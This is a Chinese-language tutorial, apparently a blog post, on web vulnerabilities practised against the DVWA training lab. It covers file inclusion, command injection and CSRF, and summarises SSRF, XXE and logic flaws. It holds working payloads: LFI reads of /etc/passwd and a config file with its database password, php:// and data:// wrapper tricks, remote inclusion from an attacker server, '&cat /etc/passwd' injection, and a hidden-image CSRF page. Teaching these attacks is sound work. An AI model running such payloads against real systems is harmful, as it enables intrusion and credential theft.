文件包含漏洞

什么是文件包含漏洞

文件包含:指的是脚本语言程序支持文件包含函数,开发者为了避免再次编写代码,将这些代码插入到指定的地方,在需要的时候直接调用该文件,这种操作就称之为文件包含。如果我们对这些文件具有读取权限的话,就会导致了文件包含漏洞。

php常见的高危文件包含函数

include()
require()
include_once()
require_once()
对文件进行操作的其他函数,如f_open(),f_read()

文件包含分为两类:本地文件包含和远程文件包含。

本地包含主要指:能够读取或者执行本地文件

远程文件包含:需要php.ini开启了allow_url_fopen和allow_url_include的配置,然后可以加载远程文件

应用实例

用到的靶场是:dvwa

本地文件包含

包含 /etc/passwd,正常访问页面:http://www.dvwa.com:9001/vulnerabilities/fi/?page=file1.php

含有已知漏洞的Javascript库 漏洞实例_文件包含

获取/etc/passwd内容:http://www.dvwa.com:9001/vulnerabilities/fi/?page=/etc/passwd

含有已知漏洞的Javascript库 漏洞实例_php_02

伪协议
  1. php://input

用来接收POST参数,通过input把我们的语句输入上去然后执行。使用burp来实现

含有已知漏洞的Javascript库 漏洞实例_含有已知漏洞的Javascript库_03

  1. data://

是一种数据流封装,将原本的include的文件流重定向到了用户可控制的输入流中, 示例:

data:text/plain,<?php system(id)?>

含有已知漏洞的Javascript库 漏洞实例_验证码_04

  1. php://filter

用来查看源码,当我们查看的是php文件时,会被解析,所以这个时候就可以使用该语法来进行过滤,语法格式:php://filter/read=convert.base64-encode/resource=文件路径,示例:http://www.dvwa.com:9001/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=../../phpinfo.php

含有已知漏洞的Javascript库 漏洞实例_验证码_05

得到的是base64字符串,需要进行解密

base64:

PD9waHANCg0KZGVmaW5lKCAnRFZXQV9XRUJfUEFHRV9UT19ST09UJywgJycgKTsNCnJlcXVpcmVfb25jZSBEVldBX1dFQl9QQUdFX1RPX1JPT1QgLiAnZHZ3YS9pbmNsdWRlcy9kdndhUGFnZS5pbmMucGhwJzsNCg0KZHZ3YVBhZ2VTdGFydHVwKCBhcnJheSggJ2F1dGhlbnRpY2F0ZWQnLCAncGhwaWRzJyApICk7DQoNCnBocGluZm8oKTsNCg0KPz4NCg==

解密:

<?php

define( 'DVWA_WEB_PAGE_TO_ROOT', '' );
require_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';

dvwaPageStartup( array( 'authenticated', 'phpids' ) );

phpinfo();

?>

通过文件包含,我们还可以获取

1)日志文件,示例:http://www.dvwa.com:9001/vulnerabilities/fi/?page=/var/log/alternatives.log

含有已知漏洞的Javascript库 漏洞实例_文件包含_06

2)网站配置文件,示例:http://www.dvwa.com:9001/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=../../config/config.inc.php

含有已知漏洞的Javascript库 漏洞实例_php_07

bs64:

PD9waHANCg0KIyBJZiB5b3UgYXJlIGhhdmluZyBwcm9ibGVtcyBjb25uZWN0aW5nIHRvIHRoZSBNeVNRTCBkYXRhYmFzZSBhbmQgYWxsIG9mIHRoZSB2YXJpYWJsZXMgYmVsb3cgYXJlIGNvcnJlY3QNCiMgdHJ5IGNoYW5naW5nIHRoZSAnZGJfc2VydmVyJyB2YXJpYWJsZSBmcm9tIGxvY2FsaG9zdCB0byAxMjcuMC4wLjEuIEZpeGVzIGEgcHJvYmxlbSBkdWUgdG8gc29ja2V0cy4NCiMgICBUaGFua3MgdG8gQGRpZ2luaW5qYSBmb3IgdGhlIGZpeC4NCg0KIyBEYXRhYmFzZSBtYW5hZ2VtZW50IHN5c3RlbSB0byB1c2UNCiREQk1TID0gJ015U1FMJzsNCiMkREJNUyA9ICdQR1NRTCc7IC8vIEN1cnJlbnRseSBkaXNhYmxlZA0KDQojIERhdGFiYXNlIHZhcmlhYmxlcw0KIyAgIFdBUk5JTkc6IFRoZSBkYXRhYmFzZSBzcGVjaWZpZWQgdW5kZXIgZGJfZGF0YWJhc2UgV0lMTCBCRSBFTlRJUkVMWSBERUxFVEVEIGR1cmluZyBzZXR1cC4NCiMgICBQbGVhc2UgdXNlIGEgZGF0YWJhc2UgZGVkaWNhdGVkIHRvIERWV0EuDQokX0RWV0EgPSBhcnJheSgpOw0KJF9EVldBWyAnZGJfc2VydmVyJyBdICAgPSAnMTI3LjAuMC4xJzsNCiRfRFZXQVsgJ2RiX2RhdGFiYXNlJyBdID0gJ2R2d2EnOw0KJF9EVldBWyAnZGJfdXNlcicgXSA9ICdhZG1pbic7DQokX0RWV0FbICdkYl9wYXNzd29yZCcgXSA9ICdzWjZLbFdHcHVwVHcnOw0KDQojIE9ubHkgdXNlZCB3aXRoIFBvc3RncmVTUUwvUEdTUUwgZGF0YWJhc2Ugc2VsZWN0aW9uLg0KJF9EVldBWyAnZGJfcG9ydCAnXSA9ICc1NDMyJzsNCg0KIyBSZUNBUFRDSEEgc2V0dGluZ3MNCiMgICBVc2VkIGZvciB0aGUgJ0luc2VjdXJlIENBUFRDSEEnIG1vZHVsZQ0KIyAgIFlvdSdsbCBuZWVkIHRvIGdlbmVyYXRlIHlvdXIgb3duIGtleXMgYXQ6IGh0dHBzOi8vd3d3Lmdvb2dsZS5jb20vcmVjYXB0Y2hhL2FkbWluL2NyZWF0ZQ0KJF9EVldBWyAncmVjYXB0Y2hhX3B1YmxpY19rZXknIF0gID0gJyc7DQokX0RWV0FbICdyZWNhcHRjaGFfcHJpdmF0ZV9rZXknIF0gPSAnJzsNCg0KIyBEZWZhdWx0IHNlY3VyaXR5IGxldmVsDQojICAgRGVmYXVsdCB2YWx1ZSBmb3IgdGhlIHNlY3VpcnR5IGxldmVsIHdpdGggZWFjaCBzZXNzaW9uLg0KIyAgIFRoZSBkZWZhdWx0IGlzICdpbXBvc3NpYmxlJy4gWW91IG1heSB3aXNoIHRvIHNldCB0aGlzIHRvIGVpdGhlciAnbG93JywgJ21lZGl1bScsICdoaWdoJyBvciBpbXBvc3NpYmxlJy4NCiRfRFZXQVsgJ2RlZmF1bHRfc2VjdXJpdHlfbGV2ZWwnIF0gPSAnaW1wb3NzaWJsZSc7DQoNCiMgRGVmYXVsdCBQSFBJRFMgc3RhdHVzDQojICAgUEhQSURTIHN0YXR1cyB3aXRoIGVhY2ggc2Vzc2lvbi4NCiMgICBUaGUgZGVmYXVsdCBpcyAnZGlzYWJsZWQnLiBZb3UgY2FuIHNldCB0aGlzIHRvIGJlIGVpdGhlciAnZW5hYmxlZCcgb3IgJ2Rpc2FibGVkJy4NCiRfRFZXQVsgJ2RlZmF1bHRfcGhwaWRzX2xldmVsJyBdID0gJ2Rpc2FibGVkJzsNCg0KIyBWZXJib3NlIFBIUElEUyBtZXNzYWdlcw0KIyAgIEVuYWJsaW5nIHRoaXMgd2lsbCBzaG93IHdoeSB0aGUgV0FGIGJsb2NrZWQgdGhlIHJlcXVlc3Qgb24gdGhlIGJsb2NrZWQgcmVxdWVzdC4NCiMgICBUaGUgZGVmYXVsdCBpcyAnZGlzYWJsZWQnLiBZb3UgY2FuIHNldCB0aGlzIHRvIGJlIGVpdGhlciAndHJ1ZScgb3IgJ2ZhbHNlJy4NCiRfRFZXQVsgJ2RlZmF1bHRfcGhwaWRzX3ZlcmJvc2UnIF0gPSAnZmFsc2UnOw0KDQo/Pg0K

解码:

<?php

# If you are having problems connecting to the MySQL database and all of the variables below are correct
# try changing the 'db_server' variable from localhost to 127.0.0.1. Fixes a problem due to sockets.
#   Thanks to @digininja for the fix.

# Database management system to use
$DBMS = 'MySQL';
#$DBMS = 'PGSQL'; // Currently disabled

# Database variables
#   WARNING: The database specified under db_database WILL BE ENTIRELY DELETED during setup.
#   Please use a database dedicated to DVWA.
$_DVWA = array();
$_DVWA[ 'db_server' ]   = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'dvwa';
$_DVWA[ 'db_user' ] = 'admin';
$_DVWA[ 'db_password' ] = 'sZ6KlWGpupTw';

# Only used with PostgreSQL/PGSQL database selection.
$_DVWA[ 'db_port '] = '5432';

# ReCAPTCHA settings
#   Used for the 'Insecure CAPTCHA' module
#   You'll need to generate your own keys at: https://www.google.com/recaptcha/admin/create
$_DVWA[ 'recaptcha_public_key' ]  = '';
$_DVWA[ 'recaptcha_private_key' ] = '';

# Default security level
#   Default value for the secuirty level with each session.
#   The default is 'impossible'. You may wish to set this to either 'low', 'medium', 'high' or impossible'.
$_DVWA[ 'default_security_level' ] = 'impossible';

# Default PHPIDS status
#   PHPIDS status with each session.
#   The default is 'disabled'. You can set this to be either 'enabled' or 'disabled'.
$_DVWA[ 'default_phpids_level' ] = 'disabled';

# Verbose PHPIDS messages
#   Enabling this will show why the WAF blocked the request on the blocked request.
#   The default is 'disabled'. You can set this to be either 'true' or 'false'.
$_DVWA[ 'default_phpids_verbose' ] = 'false';

?>

3)系统配置文件,示例:http://www.dvwa.com:9001/vulnerabilities/fi/?page=/proc/mounts

含有已知漏洞的Javascript库 漏洞实例_php_08

远程文件包含

在我们的服务器(http://192.168.1.7:7080/)根目录下:/var/www/html创建一个test.txt文件

<?php phpinfo();?>

我们来打开一下这个页面:http://192.168.1.7:7080/test.txt

含有已知漏洞的Javascript库 漏洞实例_php_09

然后在我们的http://www.dvwa.com:9001/ 服务器进行包含访问:http://www.dvwa.com:9001/vulnerabilities/fi/?page=http://192.168.1.7:7080/test.txt

含有已知漏洞的Javascript库 漏洞实例_含有已知漏洞的Javascript库_10

代码执行漏洞

什么是代码执行漏洞

指的是应用程序对输入参数过滤不严导致恶意攻击值能控制最终的命令,进而入侵系统,造成严重破坏的高危漏洞,比如应用在调用一些字符串转为代码的函数时,没有对字符串进行过滤

PHP: 
	eval()    //把字符串作为PHP代码执行
	assert()    //检查一个断言是否为 FALSE,可用来执行代码
	preg_replace()    //执行一个正则表达式的搜索和替换
	call_user_func()//把第一个参数作为回调函数调用
	call_user_func_array()//调用回调函数,并把一个数组参数作为回调函数的参数
	array_map()        //为数组的每个元素应用回调函数
	
Python:
	exec(string) # Python代码的动态执行
	eval(string) # 返回表达式或代码对象的值
	execfile(string) # 从一个文件中读取和执行Python脚本
	input(string) #Python2.x 中 input() 相等于 eval(raw_input(prompt)) ,用来获取控制台的输入
	compile(string) # 将源字符串编译为可执行对象

命令执行漏洞

什么是命令执行漏洞

是指Web应用程序接收用户输入,拼接到要执行的系统命令中执行,产生原因和代码执行漏洞一样,都是没有对输入进行严格过滤

PHP:
	system()        //执行外部程序,并且显示输出
	exec()            //执行一个外部程序
	shell_exec()    //通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回
	passthru()        //执行外部程序并且显示原始输出
	pcntl_exec()    //在当前进程空间执行指定程序
	popen()            //打开进程文件指针
	proc_open()        //执行一个命令,并且打开用来输入/输出的文件指针

Python:
	system() #执行系统指令
	popen() #popen()方法用于从一个命令打开一个管道
	subprocess.call #执行由参数提供的命令
	spawn #执行命令

常见的命令连接符: & ,&& ,|  , ||

靶场练习

正常输入的情况

含有已知漏洞的Javascript库 漏洞实例_含有已知漏洞的Javascript库_11

使用&拼接ifconfig:220.181.38.148&ifconfig

含有已知漏洞的Javascript库 漏洞实例_文件包含_12

查看/etc/passwd文件:220.181.38.148&cat /etc/passwd

含有已知漏洞的Javascript库 漏洞实例_含有已知漏洞的Javascript库_13

CSRF漏洞

什么是CSRF漏洞

跨站请求伪造,是一种挟制用户在当前已登录的Web应用程序上执行非法操作,比如利用当前用户的身份,发送恶意请求,有可能用户的账号会被盗、获取的账户余额等操作

常见的就是我们登录一个网站之后,cookie会保存我们的登录信息,在请求该网站的时候,浏览器都会自动带上该域名的cookie信息,攻击者就可以利用这个cookie信息去向后端发起恶意请求

靶场练习

修改密码

查看修改密码的链接

low级别,查看修改密码的链接:http://www.dvwa.com:9001/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change

含有已知漏洞的Javascript库 漏洞实例_php_14

打开隐身模式,套用原来网站的cookie,直接修改密码:http://www.dvwa.com:9001/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#

含有已知漏洞的Javascript库 漏洞实例_php_15

所以这个时候,攻击者只要诱惑用户去点击自己设计好的链接,比如是 http://www.xxx.com/test.html

<img src="http://www.dvwa.com:9001/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#" border="0" style="display:none;"/>
<h1>404<h1>
<h2>file not found.<h2>

这样密码就改成了攻击者自己的密码

防御方式有:

1. 加上token进行验证,比如:csrf_toekn
2. 判断页面来源
3. 加上验证码进行校验
4. 修改密码时,要验证原始密码

SSRF漏洞

什么是SSRF漏洞

服务器端请求伪造,是一种由攻击者构造形成并由服务端发起恶意请求的一个安全漏洞,正式因为恶意请求由服务端发起,而服务端能够请求到与自身相连而与外网隔绝的内部网络系统,参考来源(https://www.freebuf.com/articles/web/260806.html)

危害

  1. 对外网、服务器所在内网、服务器本地进行端口扫描,获取一些服务的banner信息等
  2. 攻击运行在内网或服务器本地的其他应用程序,如redis、mysql等
  3. 对内网Web应用进行指纹识别,识别企业内部的资产信息
  4. 攻击内网的Web应用,比如sql注入、文件上传等
  5. 利用file协议读取服务器本地文件
  6. 进行跳板攻击

XML实体注入

什么是XML实体注入

即XML外部实体注入攻击,主要是应用程序在解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网、发起dos攻击等危害,一般触发位置是可以上传xml文件的位置,没有对xml文件进行过滤,导致上传了恶意的xml文件

业务逻辑漏洞

越权漏洞

简单说就是其中一个账号拥有修改另外一个账号信息的权限,分为平行越权和垂直越权

平行越权主要指具有相同权限的用户或者相同角色

垂直越权主要指不同权限的用户或者不同角色的用户

密码找回漏洞

常见的密码找回有:邮箱、密码保护、手机号找回等,所以,在进行密码找回的时候,除了找回自己的密码,还能找回其他用户的密码,这样就会导致密码找回漏洞

验证码漏洞

常见场景就是验证码登录,对于登录的验证码没有进行处理,比如验证码可以重复利用、验证码没有销毁、没事设置验证码失败次数等,都会导致该漏洞

支付漏洞

常见的有:修改支付价格、修改支付状态、修改订单数量、修改订单状态等